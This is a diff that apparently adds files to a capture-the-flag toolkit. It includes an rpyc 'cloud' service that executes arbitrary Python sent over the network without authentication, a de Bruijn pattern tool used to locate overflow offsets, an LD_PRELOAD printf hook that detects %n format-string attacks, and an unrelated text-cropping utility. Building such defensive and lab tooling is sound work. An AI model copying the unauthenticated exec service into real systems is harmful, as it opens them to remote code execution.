+from rpyc.utils.registry import UDPRegistryServer, TCPRegistryServer
+from rpyc.lib import setup_logger
+import logging
+
+parser = OptionParser()
+parser.add_option("-m", "--mode", action="store", dest="mode", metavar="MODE",
+    default="udp", type="string", help="mode can be 'udp' or 'tcp'")
+parser.add_option("-p", "--port", action="store", dest="port", type="int",
+    metavar="PORT", default=REGISTRY_PORT, help="specify a different UDP/TCP listener port")
+parser.add_option("-f", "--file", action="store", dest="logfile", type="str",
+    metavar="FILE", default=None, help="specify the log file to use; the default is stderr")
+parser.add_option("-q", "--quiet", action="store_true", dest="quiet",
+    default=False, help="quiet mode (only errors are logged)")
+parser.add_option("-t", "--timeout", action="store", dest="pruning_timeout",
+    type="int", default=DEFAULT_PRUNING_TIMEOUT, help="sets a custom pruning timeout")
+
+def main():
+    logging.basicConfig(level=logging.INFO)
+    log = logging.getLogger('CloudServer')
+
+    options, args = parser.parse_args()
+    if args:
+        raise ValueError("does not take positional arguments: %r" % (args,))
+
+    if options.port < 1 or options.port > 65535:
+        raise ValueError("invalid TCP/UDP port %r" % (options.port,))
+
+    if options.mode.lower() == "udp":
+        server = UDPRegistryServer(port = options.port,
+            pruning_timeout = options.pruning_timeout, logger = log)
+    elif options.mode.lower() == "tcp":
+        server = TCPRegistryServer(port = options.port,
+            pruning_timeout = options.pruning_timeout, logger = log)
+    else:
+        raise ValueError("invalid mode %r" % (options.mode,))
+
+    setup_logger(options)
+    server.start()
+
+
+if __name__ == "__main__":
+    main()

cloud/server.py

@@ -0,0 +1,34 @@
+#!/usr/bin/env python
+
+import rpyc
+from rpyc.utils.registry import TCPRegistryClient
+
+class CloudService(rpyc.Service):
+    def on_connect(self):
+        print "Incoming connection"
+        pass
+
+    def on_disconnect(self):
+        print "Closing connection"
+        pass
+
+    def exposed_doit(self, code):
+        '''Execute arbitrary python code, given as a string, and returns the namespace in which it was executed.
+'''
+        cloud = {}
+        try:
+            exec(code) in cloud
+        except:
+            pass
+        return cloud
+
+
+if __name__ == "__main__":
+    from rpyc.utils.server import ThreadedServer
+    import logging
+    import socket
+    logging.basicConfig(level=logging.INFO)
+    log = logging.getLogger('CloudServer')
+    hostname = socket.gethostbyname(socket.gethostname())
+    t = ThreadedServer(CloudService, hostname=hostname, port = 31337, registrar = TCPRegistryClient(hostname), logger = log)
+    t.start()

crop/Makefile

@@ -0,0 +1,4 @@
+.PHONY: all
+all:
+	premlton src/crop.mlb
+	mv src/crop bin/crop

crop/src/Log.sig

@@ -0,0 +1,16 @@
+signature Log =
+sig
+  datatype level = Debug
+                 | Verbose
+                 | Chatty
+                 | Normal
+                 | Quiet
+  val setLevel : level -> unit
+  val setIndentation : int -> unit
+  val indent : int -> unit
+  val debug : string -> unit
+  val verbose : string -> unit
+  val chatty : string -> unit
+  val normal : string -> unit
+  val warning : string -> unit
+end

crop/src/Log.sml

@@ -0,0 +1,49 @@
+structure Log :> Log =
+struct
+datatype level = Debug
+               | Verbose
+               | Chatty
+               | Normal
+               | Quiet
+
+val level = ref Normal
+val ind = ref 0
+
+fun setLevel l = level := l
+
+fun setIndentation n = ind := n
+
+fun indent n = ind := (!ind + n)
+
+fun print s = if !ind > 0
+              then println (String.spaces (!ind) ^ s)
+              else println s
+
+fun debug s =
+    if !level = Debug
+    then print s
+    else ()
+
+fun verbose s =
+    if !level = Verbose
+    then print s
+    else debug s
+
+fun chatty s =
+    if !level = Chatty
+    then print s
+    else verbose s
+
+fun normal s =
+    if !level <> Quiet
+    then print s
+    else ()
+
+fun warning s =
+    (TextIO.output (TextIO.stdErr,
+                    if !level = Quiet
+                    then s ^ "\n"
+                    else String.spaces (!ind) ^ s ^ "\n"
+                   )
+   ; TextIO.flushOut TextIO.stdErr)
+end

crop/src/crop.mlb

@@ -0,0 +1,10 @@
+local
+$(SML_LIB)/basis/basis.mlb
+../mylib/MyLib.mlb
+in
+Log.sig
+Log.sml
+
+%pre main.sml
+%pre go.sml
+end

crop/src/go.sml

@@ -0,0 +1,146 @@
+val version = "0.0.1"
+
+fun usage name =
+    map println
+        ["usage: % rect [rect ...] [options]" <- name
+       , ""
+       , "Rect:"
+       , "  <line skip>,<line count>,<char skip>,<char count>"
+       , "Options:"
+       , "  -w<n>, --window <n>"
+       , "    Repeat for every n lines"
+       , "  -n, --no-linefeed"
+       , "  -o <file>"
+        ]
+
+fun printVersionAndExt () = (println ("crop version " ^ version)
+                           ; OS.Process.exit OS.Process.success)
+fun printUsageAndExit () = (usage $ CommandLine.name ()
+                          ; OS.Process.exit OS.Process.success)
+fun die e = (Log.warning e ; OS.Process.exit OS.Process.failure)
+
+local
+  val window = ref NONE
+  val rects = ref nil
+  val nlf = ref false
+  val src = ref NONE
+  val dst = ref NONE
+  fun setWindow x = window := SOME x
+  fun setNLF x = nlf := true
+  fun addRect r = rects := r :: !rects
+  fun setSrc x = case !src of
+                   SOME s => raise Fail ("Only one source file allowed \
+                                         \(you already told me '" ^ s ^ "')")
+                 | NONE => src := SOME x
+  fun setDst x = dst := SOME x
+  fun getOpt () =
+      let
+        val src = case !src of
+                    SOME f => TextIO.openIn f
+                  | NONE   => TextIO.stdIn
+        val dst = case !dst of
+                    SOME f => TextIO.openOut f
+                  | NONE   => TextIO.stdOut
+      in
+        (!window, !rects, !nlf, src, dst)
+      end
+      handle IO.Io {cause = OS.SysErr (desc, _), name, ...} =>
+             raise Fail (desc ^ ": '" ^ name ^ "'")
+in
+
+fun parseArgs args =
+    let open Parser val op >>= = op -->
+      open (oneOf) Text
+      open (comma, dash) Symb
+      infix 0 |||
+      infix 1 --- |-- --| ^^^ ::: @@@
+      infix 2 >>> >>= ??? produce underlies
+
+      fun unknownOpt k v =
+          raise Fail ("Unknown option (%): %" <- k <- v)
+      val args =
+          List.concatMap
+            (fn arg =>
+                case explode arg of
+                  #"-" :: c :: cs =>
+                  if Char.isAlpha c andalso not $ null cs
+                  then [String.substring (arg, 0, 2)
+                      , String.extract (arg, 2, NONE)]
+                  else [arg]
+                | _ => [arg])
+            args
+
+      val window =
+          do tok <- any
+           ; return
+               (case Int.fromString tok of
+                  SOME n => setWindow n
+                | NONE   => unknownOpt "--window" tok
+               )
+          end
+
+      val num = many1 $ oneOf "0123456789-" >>> implode
+      val coord = num >>> (0 \> Option.getOpt o Int.fromString)
+                      ||| dash produce 0
+
+      val rect =
+          do y <- coord
+           ; comma
+           ; b <- coord
+           ; comma
+           ; x <- coord
+           ; comma
+           ; a <- coord
+           ; return ((y, b), (x, a))
+          end
+
+      fun help ? = (return $ printUsageAndExit ()) ?
+
+      val one =
+          do tok <- any
+           ; case tok of
+               "--window"     => window
+             | "-w"           => window
+             | "-no-linefeed" => return $ setNLF ()
+             | "-n"           => return $ setNLF ()
+             | "-o"           => any >>> setDst
+             | "--help"       => help
+             | "-h"           => help
+             | "-?"           => help
+             | "--version"    => return $ printVersionAndExt ()
+             | _              => return
+               (case Parse.string rect tok of
+                  Right r => addRect r
+                | Left _  => setSrc tok
+               )
+          end
+      val parse =
+          do many' one
+           ; eof
+          end
+    in
+      case Parse.list parse args of
+        Right _ => getOpt ()
+      | Left ({token = SOME x, ...} :: _) =>
+        raise Fail ("Could not parse command line arguments\
+                    \ (failed on '" ^ x ^ "')")
+      | Left _ =>
+        raise Fail ("Could not parse command line arguments")
+    end
+end
+
+fun verify (args as (window, rects, _, _, _)) =
+    ((if null rects
+      then raise Fail "No rects given"
+      else ())
+   ; Option.map (fn n => if n <= 0
+                         then raise Fail "Window must be strictly positive"
+                         else ()) window
+   ; args
+    )
+
+fun go () =
+    main $ verify $ parseArgs $ CommandLine.arguments ()
+    handle Fail s => die s
+
+val _ = go ()

crop/src/main.sml

@@ -0,0 +1,61 @@
+fun main (window, rects, nlf, src, dst) =
+    let
+      (* val lines = String.fields (#"\n" \< op=) $ TextIO.inputAll src *)
+      val lines =
+          let
+            fun loop () =
+                case TextIO.inputLine src of
+                  SOME line =>
+                  String.substring (line, 0, size line - 1) :: loop ()
+                | NONE => nil
+          in
+            loop ()
+          end
+
+      val numLines = length lines
+      val window = getOpt (window, numLines)
+
+      fun correct e (x, a) =
+          (* x absolute, a relative *)
+          if x >= 0 andalso a > 0
+          then (x, x + a)
+          (* x relative, a absolute *)
+          else if x < 0 andalso a <= 0
+          then (e + a + x, e + a)
+          (* both absolute *)
+          else if x >= 0 andalso a <= 0
+          then (x, e + a)
+          (* both relative -- an error *)
+          else raise Fail ("Both indexes relative: " ^
+                           Show.pair Show.int Show.int (x, a))
+
+      val rects =
+          map (Pair.mapFst $ correct window) rects
+
+      fun line (n, l) =
+          let
+            val len = size l
+            val (min, max) =
+                foldl (fn ((b, e), (min, max)) =>
+                                   (Int.min (b, min), Int.max (e, max))
+                      ) (len, ~1) $
+                map (fn (_, x) => correct len x) $
+                List.filter (fn ((y, b), _) =>
+                                let
+                                  val offset = n mod window
+                                in
+                                  offset >= y andalso offset < b
+                                end
+                            ) rects
+            val max = Int.min (max, len)
+          in
+            TextIO.output (dst, String.substring (l, min, max - min))
+          ; if not nlf
+            then TextIO.output (dst, "\n")
+            else ()
+          end
+          handle Subscript => ()
+
+    in
+      app line $ ListPair.zip (List.tabulate (numLines, id), lines)
+    end

cyclic/cyclic

@@ -0,0 +1,48 @@
+#!/usr/bin/env python
+import pwn, sys, argparse, string
+from pwn import de_bruijn, de_bruijn_find
+
+if __name__ == "__main__":
+    p = argparse.ArgumentParser(description="Cyclic pattern creator/finder")
+    p.add_argument('-a', '--alphabet',
+                   metavar = '<alphabet>',
+                   default = string.ascii_lowercase,
+                   help = 'The alphabet to use in the cyclic pattern',
+                   )
+    p.add_argument('-l', '--large-alphabet',
+                   action = 'store_true',
+                   help = 'Use a large alphabet (digits, letters, punctuation)',
+                   )
+    p.add_argument('-o', '--offset',
+                   action = 'store_true',
+                   help = 'Find offset of substring in cyclic pattern (given as hex (0x...), integer or string)',
+                   )
+    p.add_argument('patsize',
+                   metavar = '<pattern|size>',
+                   help = 'Depending on the -o flag, 1) the desired size of the created pattern, or 2) the subpattern to find the offset of',
+                   )
+
+    args = p.parse_args()
+
+    if args.large_alphabet:
+        alph = string.digits + string.ascii_letters + string.punctuation
+    else:
+        alph = args.alphabet
+
+    if args.offset:
+        pat = args.patsize
+        if pat.startswith('0x'):
+            pat = pwn.p32(int(pat[2:], 16) & 0xffffffff)
+        elif pat.isdigit():
+            pat = pwn.p32(int(pat, 10) & 0xffffffff)
+        else:
+            pat = pat[:4]
+        if len(pat) < 4:
+            pwn.die('Subpattern must be 4 bytes')
+        offset = de_bruijn_find(pat, alph)
+        if offset == -1:
+            pwn.log.fail('Given pattern does not exist in cyclic pattern')
+        else:
+            print offset
+    else:
+        print de_bruijn(int(args.patsize))

defence/ld-wrapper/.gitignore

@@ -0,0 +1,3 @@
+*.o
+*.so
+test

defence/ld-wrapper/Makefile

@@ -0,0 +1,34 @@
+TARGETS=liboverride-32.so liboverride-64.so
+CSRCS=$(shell find . -maxdepth 1 -name "*.c")
+LIBS32=$(patsubst %.c,%.32.o,$(CSRCS)) ld-override.32.o
+LIBS64=$(patsubst %.c,%.64.o,$(CSRCS)) ld-override.64.o
+CFLAGS=-shared -Wall -Werror -fno-builtin -fPIC
+DEPFILE=.depend
+CC=gcc
+LDFLAGS=-ldl
+CTAGS=ctags -lc++
+
+all: $(TARGETS)
+
+clean:
+	rm -f $(TARGETS) $(LIBS32) $(LIBS64)
+
+liboverride-32.so: $(LIBS32)
+	$(CC) $(CFLAGS) -shared -o $@ $^ $(LDFLAGS) -m32
+
+liboverride-64.so: $(LIBS64)
+	$(CC) $(CFLAGS) -shared -o $@ $^ $(LDFLAGS)
+
+%.32.o: %.32.asm
+	nasm -felf32 -o $@ $<
+
+%.64.o: %.64.asm
+	nasm -felf64 -o $@ $<
+
+%.32.o: %.c
+	$(CC) -c $(CFLAGS) -o $@ $< -m32
+
+%.64.o: %.c
+	$(CC) -c $(CFLAGS) -o $@ $<
+
+.PHONY: all clean

defence/ld-wrapper/ld-helper.c

@@ -0,0 +1,26 @@
+#define _GNU_SOURCE
+#include <dlfcn.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include "ld-override.h"
+
+void lookup_function(struct _override *function) {
+    char *msg;
+
+    if(function->function_addr != NULL) return;
+
+    function->function_addr = dlsym(RTLD_NEXT, function->function_name);
+
+    if ((msg = dlerror()) != NULL) {
+        fprintf(stderr, "dlsym failed for symbol %s: %s\n", function->function_name, msg);
+        fflush(stderr);
+        exit(1);
+    }
+}
+
+/*
+void wrapper() {}
+void skip_real(uintptr_t n) {}
+*/
+
+void consistency_check(struct _save_state *state) {}

defence/ld-wrapper/ld-override.32.asm

@@ -0,0 +1,109 @@
+[bits 32]
+section .text
+global wrapper
+global skip_real
+extern consistency_check
+extern lookup_function
+extern thread_stack
+extern rand
+
+struc STATE
+    .EBX: resd 1
+    .EBP: resd 1
+    .EDI: resd 1
+    .ESI: resd 1
+    .ESP: resd 1
+    .FUNCTION: resd 1
+    .EIP: resd 1
+endstruc
+
+struc FUNCTION
+    .REAL: resd 1
+    .WRAPPER: resd 1
+    .NAME: resd 1
+endstruc
+
+wrapper:
+    ; Fill in the missing pieces to make a valid _save_state
+    push esp
+    add dword [esp], 4
+    push esi
+    push edi
+    push ebp
+    push ebx
+
+    ; Call consistency_check with a pointer to the _save_state
+    push esp
+    call consistency_check
+    add esp, 4
+
+    ; Make sure the function pointer is valid
+    push dword [esp+STATE.FUNCTION]
+    call lookup_function
+    add esp, 4
+
+    ; Save state on  thread_stack
+    ; Results in everything but the arguments themselves being popped
+    call thread_stack
+    add dword [eax], STATE_size
+
+    mov eax, [eax]
+    xor ecx, ecx
+
+.loop:
+    pop edx
+    mov [eax-STATE_size+ecx], edx
+    add ecx, 4
+    cmp ecx, STATE_size
+    jl .loop
+
+
+    ; Call the wrapper function
+    mov edx, [eax-STATE_size+STATE.FUNCTION]
+    mov edx, [edx+FUNCTION.WRAPPER]
+    call edx
+
+    ; Call the real function
+    call thread_stack
+    mov eax, [eax]
+    mov edx, [eax-STATE_size+STATE.FUNCTION]
+    mov edx, [edx+FUNCTION.REAL]
+    call edx
+
+    ; Make the return value be an argument to skip_real
+    push eax
+    push eax
+
+skip_real:
+    ; Find the thread_stack
+    call thread_stack
+    mov ecx, [eax]
+
+    ; Get the value to return when done from the stack
+    pop edx
+    pop edx
+
+    ; Restore callee-saved values
+    mov ebx, [ecx-STATE_size+STATE.EBX]
+    mov ebp, [ecx-STATE_size+STATE.EBP]
+    mov edi, [ecx-STATE_size+STATE.EDI]
+    mov esi, [ecx-STATE_size+STATE.ESI]
+    mov esp, [ecx-STATE_size+STATE.ESP]
+    mov ecx, [ecx-STATE_size+STATE.EIP]
+    mov [esp], ecx
+
+    ; Clean up the thread_stack
+    sub dword [eax], STATE_size
+
+    ; Push the return value to the local stack
+    push edx
+
+    ; Put garbage on ecx and edx
+    call rand
+    mov ecx, eax
+    call rand
+    mov edx, eax
+
+    ; Return
+    pop eax
+    ret

defence/ld-wrapper/ld-override.64.asm

@@ -0,0 +1,168 @@
+[bits 64]
+section .text
+global wrapper
+global skip_real
+extern consistency_check
+extern lookup_function
+extern thread_stack
+extern rand
+
+struc STATE
+    .RAX: resq 1
+    .RBX: resq 1
+    .RCX: resq 1
+    .RDX: resq 1
+    .RBP: resq 1
+    .RDI: resq 1
+    .RSI: resq 1
+    .R8:  resq 1
+    .R9:  resq 1
+    .R10: resq 1
+    .R12: resq 1
+    .R13: resq 1
+    .R14: resq 1
+    .R15: resq 1
+    .RSP: resq 1
+    .FUNCTION: resq 1
+    .RIP: resq 1
+endstruc
+
+struc FUNCTION
+    .REAL: resq 1
+    .WRAPPER: resq 1
+    .NAME: resq 1
+endstruc
+
+wrapper:
+    ; Fill in the missing pieces to make a valid _save_state
+    push rsp
+    add qword [rsp], 8
+    push r15
+    push r14
+    push r13
+    push r12
+    push r10
+    push r9
+    push r8
+    push rsi
+    push rdi
+    push rbp
+    push rdx
+    push rcx
+    push rbx
+    push rax
+
+    ; Call consistency_check with a pointer to the _save_state
+    mov rdi, rsp
+    mov qword r11, consistency_check
+    call r11
+
+    ; Make sure the function pointer is valid
+    mov rdi, [rsp+STATE.FUNCTION]
+    mov qword r11, lookup_function
+    call r11
+
+    ; Save state on  thread_stack
+    ; Results in everything but the arguments themselves being popped
+    mov qword r11, thread_stack
+    call r11
+    add qword [rax], STATE_size
+
+    mov r11, [rax]
+    xor rcx, rcx
+
+.loop:
+    pop rdx
+    mov [r11-STATE_size+rcx], rdx
+    add rcx, 8
+    cmp rcx, STATE_size
+    jl .loop
+
+
+    ; Call the wrapper function
+    mov rax, [r11-STATE_size+STATE.RAX]
+    mov rcx, [r11-STATE_size+STATE.RCX]
+    mov rdx, [r11-STATE_size+STATE.RDX]
+    mov rdi, [r11-STATE_size+STATE.RDI]
+    mov rsi, [r11-STATE_size+STATE.RSI]
+    mov r8,  [r11-STATE_size+STATE.R8]
+    mov r9,  [r11-STATE_size+STATE.R9]
+    mov r10, [r11-STATE_size+STATE.R10]
+    mov r11, [r11-STATE_size+STATE.FUNCTION]
+    mov r11, [r11+FUNCTION.WRAPPER]
+    call r11
+
+    ; Call the real function
+    mov qword r11, thread_stack
+    call r11
+    mov r11, [rax]
+    mov rax, [r11-STATE_size+STATE.RAX]
+    mov rcx, [r11-STATE_size+STATE.RCX]
+    mov rdx, [r11-STATE_size+STATE.RDX]
+    mov rdi, [r11-STATE_size+STATE.RDI]
+    mov rsi, [r11-STATE_size+STATE.RSI]
+    mov r8,  [r11-STATE_size+STATE.R8]
+    mov r9,  [r11-STATE_size+STATE.R9]
+    mov r10, [r11-STATE_size+STATE.R10]
+    mov r11, [r11-STATE_size+STATE.FUNCTION]
+    mov r11, [r11+FUNCTION.REAL]
+    call r11
+
+    ; Make the return value be an argument to skip_real
+    mov rdi, rax
+
+skip_real:
+    push rdi
+    ; Find the thread_stack
+    mov qword r11, thread_stack
+    call r11
+    mov r11, [rax]
+
+    ; Get the value to return when done from the stack
+    pop rdx
+
+    ; Restore callee-saved values
+    mov rbx, [r11-STATE_size+STATE.RBX]
+    mov rbp, [r11-STATE_size+STATE.RBP]
+    mov r12, [r11-STATE_size+STATE.R12]
+    mov r13, [r11-STATE_size+STATE.R13]
+    mov r14, [r11-STATE_size+STATE.R14]
+    mov r15, [r11-STATE_size+STATE.R15]
+    mov rsp, [r11-STATE_size+STATE.RSP]
+    mov r11, [r11-STATE_size+STATE.RIP]
+    mov [rsp], r11
+
+    ; Clean up the thread_stack
+    sub qword [rax], STATE_size
+
+    ; Push the return value to the local stack
+    push rdx
+
+    ; Get a lot of garbage and put it on the stack
+    xor rcx, rcx
+    mov ecx, (2*8)
+
+.loop2:
+    push rcx
+    mov qword rax, rand
+    call rax
+    pop rcx
+
+    shl rax, 32
+    push rax
+    add rsp, 4
+
+    loop .loop2
+
+    pop rcx
+    pop rdx
+    pop rsi
+    pop rdi
+    pop r8
+    pop r9
+    pop r10
+    pop r11
+
+    ; Return
+    pop rax
+    ret

defence/ld-wrapper/ld-override.h

@@ -0,0 +1,61 @@
+#ifndef __LD_OVERRIDE
+#define __LD_OVERRIDE
+
+#include <stdint.h>
+#include <stdlib.h>
+
+struct _override {
+    void* function_addr;
+    void* wrapper_addr;
+    char *function_name;
+};
+
+
+#define constructor __attribute__((constructor))
+
+
+#ifdef __i386__
+#define WRAP(FUNCTION) \
+    struct _override _##FUNCTION##_override = { NULL, (void*) FUNCTION##_wrapper, #FUNCTION }; \
+    extern void FUNCTION (); \
+    __asm(".text\r\n" \
+          ".globl " #FUNCTION "\r\n" \
+          ".type  " #FUNCTION ", @function\r\n" \
+          #FUNCTION ":\r\n" \
+            "push $_" #FUNCTION "_override\r\n" \
+            "jmp wrapper" \
+    )
+
+#else
+#define WRAP(FUNCTION) \
+    struct _override _##FUNCTION##_override = { NULL, (void*) FUNCTION##_wrapper, #FUNCTION }; \
+    extern void FUNCTION (); \
+    __asm(".text\r\n" \
+          ".globl " #FUNCTION "\r\n" \
+          ".type  " #FUNCTION ", @function\r\n" \
+          #FUNCTION ":\r\n" \
+            "movabs $_" #FUNCTION "_override, %r11\r\n" \
+            "push %r11\r\n" \
+            "movabs $wrapper, %r11\r\n" \
+            "jmp *%r11\r\n" \
+    )
+#endif
+
+struct _save_state {
+#ifdef __i386__
+    uintptr_t ebx, ebp, edi, esi, esp;
+    struct _override *function_override;
+    uintptr_t eip;
+#else
+    uintptr_t rax, rbx, rcx, rdx, rbp, rdi, rsi, r8, r9, r10, r12, r13, r14, r15, rsp;
+    struct _override *function_override;
+    uintptr_t rip;
+#endif
+};
+
+void wrapper();
+void skip_real(uintptr_t retval);
+void lookup_function(struct _override *function);
+void consistency_check(struct _save_state *state);
+
+#endif

defence/ld-wrapper/printf.c

@@ -0,0 +1,263 @@
+#include "ld-override.h"
+#include <stdlib.h>
+
+
+void puts(char *);
+char *parse_format(char *);
+wchar_t *parse_format_wide(wchar_t *);
+
+
+void check_format_string(char *s) {
+    char *i = s;
+    while (*i != '\0') {
+        if (*i != '%') {
+            i++;
+            continue;
+        }
+        else {
+            i++;
+//            puts("printf: parsing format string");
+            i = parse_format(i);
+        }
+    }
+}
+
+char *parse_format(char *i) {
+    // Flags
+    while(*i == '#' ||
+          *i == '0' ||
+          *i == '-' ||
+          *i == ' ' ||
+          *i == '+' ||
+          *i == 'I' ||
+          *i == '\'') {
+//        puts("printf: parsing flags");
+        i++;
+    }
+
+    // Field width
+    while(*i == '0' ||
+          *i == '1' ||
+          *i == '2' ||
+          *i == '3' ||
+          *i == '4' ||
+          *i == '5' ||
+          *i == '6' ||
+          *i == '7' ||
+          *i == '8' ||
+          *i == '9') {
+//        puts("printf: parsing field width");
+        i++;
+    }
+
+    // Precision modifier
+    while(*i == '.' ||
+          *i == '*' ||
+          *i == '$' ||
+          *i == '0' ||
+          *i == '1' ||
+          *i == '2' ||
+          *i == '3' ||
+          *i == '4' ||
+          *i == '5' ||
+          *i == '6' ||
+          *i == '7' ||
+          *i == '8' ||
+          *i == '9') {
+//        puts("printf: parsing precision modifier");
+        i++;
+    }
+
+    // Length modifier
+    while(*i == 'h' ||
+          *i == 'l' ||
+          *i == 'L' ||
+          *i == 'q' ||
+          *i == 'j' ||
+          *i == 'z' ||
+          *i == 't') {
+//        puts("printf: parsing length modifier");
+        i++;
+    }
+
+    if(*i == 'n') {
+        puts("NU DØR BABY!");
+        exit(1337);
+    }
+    i++;
+
+    return i;
+}
+
+void check_format_string_wide(wchar_t *s) {
+    wchar_t *i = s;
+    while (*i != '\0') {
+        if (*i != '%') {
+            i++;
+            continue;
+        }
+        else {
+            i++;
+//            puts("printf: parsing format string");
+            i = parse_format_wide(i);
+        }
+    }
+}
+
+wchar_t *parse_format_wide(wchar_t *i) {
+    // Flags
+    while(*i == '#' ||
+          *i == '0' ||
+          *i == '-' ||
+          *i == ' ' ||
+          *i == '+' ||
+          *i == 'I' ||
+          *i == '\'') {
+//        puts("printf: parsing flags");
+        i++;
+    }
+
+    // Field width
+    while(*i == '0' ||
+          *i == '1' ||
+          *i == '2' ||
+          *i == '3' ||
+          *i == '4' ||
+          *i == '5' ||
+          *i == '6' ||
+          *i == '7' ||
+          *i == '8' ||
+          *i == '9') {
+//        puts("printf: parsing field width");
+        i++;
+    }
+
+    // Precision modifier
+    while(*i == '.' ||
+          *i == '*' ||
+          *i == '$' ||
+          *i == '0' ||
+          *i == '1' ||
+          *i == '2' ||
+          *i == '3' ||
+          *i == '4' ||
+          *i == '5' ||
+          *i == '6' ||
+          *i == '7' ||
+          *i == '8' ||
+          *i == '9') {
+//        puts("printf: parsing precision modifier");
+        i++;
+    }
+
+    // Length modifier
+    while(*i == 'h' ||
+          *i == 'l' ||
+          *i == 'L' ||
+          *i == 'q' ||
+          *i == 'j' ||
+          *i == 'z' ||
+          *i == 't') {
+//        puts("printf: parsing length modifier");
+        i++;
+    }
+
+    if(*i == 'n') {
+        puts("NU DØR BABY!");
+        exit(1337);
+    }
+    i++;
+
+    return i;
+}
+
+void printf_wrapper(char *s) {
+    check_format_string(s);
+}
+
+void dprintf_wrapper(int ignore, char *s) {
+    check_format_string(s);
+}
+
+void asprintf_wrapper(int ignore, char *s) {
+    check_format_string(s);
+}
+
+void vasprintf_wrapper(int ignore, char *s) {
+    check_format_string(s);
+}
+
+void vdprintf_wrapper(int ignore, char *s) {
+    check_format_string(s);
+}
+
+void fprintf_wrapper(int ignore, char *s) {
+    check_format_string(s);
+}
+
+void sprintf_wrapper(int ignore, char *s) {
+    check_format_string(s);
+}
+
+void snprintf_wrapper(int ignore, int ignore2, char *s) {
+    check_format_string(s);
+}
+
+void vprintf_wrapper(char *s) {
+    check_format_string(s);
+}
+
+void vfprintf_wrapper(int ignore, char *s) {
+    check_format_string(s);
+}
+
+void vsprintf_wrapper(int ignore, char *s) {
+    check_format_string(s);
+}
+
+void vsnprintf_wrapper(int ignore, int ignore2, char *s) {
+    check_format_string(s);
+}
+
+
+// Wide chars
+void wprintf_wrapper(wchar_t *s) {
+    check_format_string_wide(s);
+}
+void fwprintf_wrapper(int ignore, wchar_t *s) {
+    check_format_string_wide(s);
+}
+void swprintf_wrapper(int ignore, int ignore2, wchar_t *s) {
+    check_format_string_wide(s);
+}
+void vwprintf_wrapper(wchar_t *s) {
+    check_format_string_wide(s);
+}
+
+void vfwprintf_wrapper(int ignore, wchar_t *s) {
+    check_format_string_wide(s);
+}
+
+void vswprintf_wrapper(int ignore, int ignore2, wchar_t *s) {
+    check_format_string_wide(s);
+}
+WRAP(printf);
+WRAP(asprintf);
+WRAP(vasprintf);
+WRAP(dprintf);
+WRAP(vdprintf);
+WRAP(fprintf);
+WRAP(sprintf);
+WRAP(snprintf);
+WRAP(vprintf);
+WRAP(vfprintf);
+WRAP(vsprintf);
+WRAP(vsnprintf);
+
+// Wide
+WRAP(wprintf);
+WRAP(fwprintf);
+WRAP(swprintf);
+WRAP(vwprintf);
+WRAP(vfwprintf);
+WRAP(vswprintf);

defence/ld-wrapper/srand.c

@@ -0,0 +1,23 @@
+#include <stdlib.h>
+#include <unistd.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include "ld-override.h"
+
+void srand_wrapper(int seed);
+
+WRAP(srand);
+
+void constructor fix_srand () {
+    int fd = open("/dev/urandom",O_RDONLY);
+    int seed;
+    read(fd, &seed, sizeof(seed));
+
+    lookup_function(&_srand_override);
+    ((void (*)()) _srand_override.function_addr) (seed);
+}
+
+void srand_wrapper(int seed) {
+    skip_real(0);
+}

defence/ld-wrapper/thread-stack.c

@@ -0,0 +1,15 @@
+#include <sys/mman.h>
+#include <stdlib.h>
+#include "thread-stack.h"
+
+static __thread void* local_thread_stack = NULL;
+
+void** thread_stack() {
+    if(local_thread_stack == NULL) {
+        local_thread_stack = mmap(NULL, 8192, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+    }
+
+    return &local_thread_stack;
+}
+
+

defence/ld-wrapper/thread-stack.h

@@ -0,0 +1,6 @@
+#ifndef __THREAD_STACK
+#define __THREAD_STACK
+
+void** thread_stack();
+
+#endif

defence/monitor/hosts

@@ -0,0 +1 @@
+192.168.25.1